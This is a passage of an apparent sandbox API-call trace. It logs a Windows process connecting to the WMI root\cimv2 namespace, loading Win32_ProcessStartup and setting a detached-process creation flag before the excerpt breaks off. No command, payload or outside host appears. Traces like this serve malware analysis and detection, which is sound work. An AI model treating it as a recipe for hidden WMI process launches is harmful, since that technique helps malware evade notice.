(This=0x1b48b090) returned 0x3 [0123.104] WbemLocator:IUnknown:Release (This=0x1b48b090) returned 0x2 [0123.104] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af6a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0123.104] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0123.104] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.104] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b48b170) returned 0x0 [0123.105] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b48b170, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4e11f0) returned 0x0 [0123.444] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e11f0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b511ef0) returned 0x0 [0123.444] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511ef0, pProxy=0x1b4e11f0, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0123.444] WbemLocator:IUnknown:Release (This=0x1b511ef0) returned 0x1 [0123.444] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e11f0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b511f38) returned 0x0 [0123.444] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e11f0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b511ef0) returned 0x0 [0123.444] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511ef0, pProxy=0x1b4e11f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0123.444] WbemLocator:IUnknown:Release (This=0x1b511ef0) returned 0x2 [0123.444] WbemLocator:IUnknown:Release (This=0x1b511f38) returned 0x1 [0123.444] CoTaskMemFree (pv=0x1b462030) [0123.444] WbemLocator:IUnknown:Release (This=0x1b48b170) returned 0x0 [0123.444] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e11f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b511f38) returned 0x0 [0123.444] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0123.447] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0123.548] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e11f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0123.570] WbemLocator:IUnknown:AddRef (This=0x1b511f38) returned 0x3 [0123.570] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0123.570] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0123.570] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b511e18) returned 0x0 [0123.570] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b511e18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.570] WbemLocator:IUnknown:Release (This=0x1b511e18) returned 0x3 [0123.570] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0123.571] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0123.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b511f00) returned 0x0 [0123.571] WbemLocator:IRpcOptions:Query (in: This=0x1b511f00, pPrx=0x1b511f38, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0123.571] WbemLocator:IUnknown:Release (This=0x1b511f00) returned 0x3 [0123.571] WbemLocator:IUnknown:Release (This=0x1b511f38) returned 0x2 [0123.571] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0123.571] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0123.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4e11f0) returned 0x0 [0123.571] WbemLocator:IUnknown:AddRef (This=0x1b4e11f0) returned 0x4 [0123.571] WbemLocator:IUnknown:Release (This=0x1b4e11f0) returned 0x3 [0123.571] WbemLocator:IUnknown:Release (This=0x1b4e11f0) returned 0x2 [0123.572] SysStringLen (param_1=0x0) returned 0x0 [0123.572] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0123.572] WbemLocator:IUnknown:AddRef (This=0x1b511f38) returned 0x3 [0123.572] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511f38, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b511f38) returned 0x0 [0123.572] WbemLocator:IUnknown:Release (This=0x1b511f38) returned 0x3 [0123.572] WbemLocator:IUnknown:Release (This=0x1b511f38) returned 0x2 [0123.572] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0123.572] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0123.572] IWbemServices:GetObject (in: This=0x1b4e11f0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d7fe0, ppCallResult=0x0) returned 0x0 [0123.578] IWbemClassObject:Get (in: This=0x1b4d7fe0, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0123.578] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0123.578] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0123.578] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0123.578] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0123.578] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0123.578] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.579] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b48b510) returned 0x0 [0123.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b510, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0123.580] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b510, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4b0a20) returned 0x0 [0123.580] WbemDefPath:IUnknown:Release (This=0x1b48b510) returned 0x0 [0123.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4b0a20) returned 0x0 [0123.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0123.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0123.580] WbemDefPath:IUnknown:AddRef (This=0x1b4b0a20) returned 0x3 [0123.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0123.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0123.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b48b450) returned 0x0 [0123.581] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b450, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.581] WbemDefPath:IUnknown:Release (This=0x1b48b450) returned 0x3 [0123.581] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0123.581] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0123.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0123.581] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x2 [0123.581] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x1 [0123.581] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0123.581] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0123.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4b0a20) returned 0x0 [0123.581] WbemDefPath:IUnknown:AddRef (This=0x1b4b0a20) returned 0x3 [0123.581] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x2 [0123.581] WbemDefPath:IWbemPath:SetText (This=0x1b4b0a20, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0123.582] IWbemClassObject:Get (in: This=0x1b4d7fe0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29883a8*=0, plFlavor=0x29883ac*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29883a8*=19, plFlavor=0x29883ac*=0) returned 0x0 [0123.582] IWbemClassObject:Get (in: This=0x1b4d7fe0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29883a8*=19, plFlavor=0x29883ac*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29883a8*=19, plFlavor=0x29883ac*=0) returned 0x0 [0123.582] IWbemClassObject:Put (This=0x1b4d7fe0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0123.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0123.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0123.582] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0123.582] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.582] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0123.583] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0123.583] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0123.583] IUnknown:Release (This=0x6124e8) returned 0x1 [0123.583] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b48b670) returned 0x0 [0123.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b670, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0123.584] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b670, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4b0ae0) returned 0x0 [0123.584] WbemDefPath:IUnknown:Release (This=0x1b48b670) returned 0x0 [0123.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4b0ae0) returned 0x0 [0123.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0123.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0123.584] WbemDefPath:IUnknown:AddRef (This=0x1b4b0ae0) returned 0x3 [0123.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0123.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0123.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b48b330) returned 0x0 [0123.585] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b330, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0123.585] WbemDefPath:IUnknown:Release (This=0x1b48b330) returned 0x3 [0123.585] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0123.585] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0123.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0123.585] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x2 [0123.585] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x1 [0123.585] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0123.585] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0123.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4b0ae0) returned 0x0 [0123.585] WbemDefPath:IUnknown:AddRef (This=0x1b4b0ae0) returned 0x3 [0123.585] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x2 [0123.585] WbemDefPath:IWbemPath:SetText (This=0x1b4b0ae0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0123.585] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0123.585] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0123.585] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0123.585] 